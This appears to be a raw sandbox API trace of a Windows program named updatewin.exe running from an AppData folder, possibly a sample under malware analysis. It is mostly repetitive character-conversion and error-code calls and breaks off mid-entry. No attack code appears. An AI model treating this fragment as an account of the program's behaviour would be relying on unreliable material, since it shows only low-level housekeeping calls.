!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᝴勹㞥AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x76\x0c\x03\x53\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᝴勹㞥AĀ") returned 256 [0054.710] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᝴勹㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.710] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᝴勹㞥AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0054.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x76\x0c\x03\x53\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0054.711] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43b480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe")) returned 0x5e [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.711] GetLastError () returned 0x0 [0054.711] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.712] SetLastError (dwErrCode=0x0) [0054.712] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.713] SetLastError (dwErrCode=0x0) [0054.713] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.714] GetLastError () returned 0x0 [0054.714] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.715] SetLastError (dwErrCode=0x0) [0054.715] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.716] SetLastError (dwErrCode=0x0) [0054.716] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.717] SetLastError (dwErrCode=0x0) [0054.717] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x67) returned 0x1d1990 [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.718] SetLastError (dwErrCode=0x0) [0054.718] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.719] SetLastError (dwErrCode=0x0) [0054.719] GetLastError () returned 0x0 [0054.720] SetLastError (dwErrCode=0x0) [0054.720] GetLastError () returned 0x0 [0054.720] SetLastError (dwErrCode=0x0) [0054.720] GetLastError () returned 0x0 [0054.720] SetLastError (dwErrCode=0x0) [0054.720] GetLastError () returned 0x0 [0054.720] SetLastError (dwErrCode=0x0) [0054.720] GetLastError () returned 0x0 [0054.720] SetLastError (dwErrCode=0x0) [0054.720] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.722] GetLastError () returned 0x0 [0054.722] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.723] SetLastError (dwErrCode=0x0) [0054.723] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError (dwErrCode=0x0) [0054.724] GetLastError () returned 0x0 [0054.724] SetLastError 